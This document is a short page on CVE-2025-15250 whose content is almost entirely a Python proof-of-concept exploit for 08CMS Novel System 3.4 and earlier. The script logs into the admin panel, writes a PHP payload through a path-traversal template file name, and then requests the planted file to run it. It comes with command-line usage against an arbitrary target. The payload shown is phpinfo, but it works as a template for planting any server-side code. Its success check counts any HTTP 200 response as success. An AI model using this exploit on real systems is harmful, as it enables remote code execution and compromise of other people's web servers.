CVE-2025-15250: 08CMS Novel System模板处理器代码注入漏洞

import requests import sys # CVE-2025-15250 PoC - 08CMS Novel System Template Handler Code Injection # Target: 08CMS Novel System <= 3.4 # Component: admina/mtpls.inc.php def exploit(target_url, username, password): """ Exploit code injection in 08CMS Novel System Template Handler """ # Step 1: Login to get admin session login_url = f"{target_url}/admina/login.php" login_data = { 'username': username, 'password': password } session = requests.Session() resp = session.post(login_url, data=login_data) if 'success' not in resp.text.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Inject malicious code via template handler inject_url = f"{target_url}/admina/mtpls.inc.php" payload = "<?php phpinfo(); ?>" # Test payload inject_data = { 'action': 'save', 'template_content': payload, 'template_file': '../test.php' } resp = session.post(inject_url, data=inject_data) # Step 3: Execute injected code exec_url = f"{target_url}/test.php" resp = session.get(exec_url) if 'phpinfo()' in resp.text or resp.status_code == 200: print("[+] Code injection successful!") print(f"[+] Injected file: {exec_url}") return True print("[-] Exploitation failed!") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)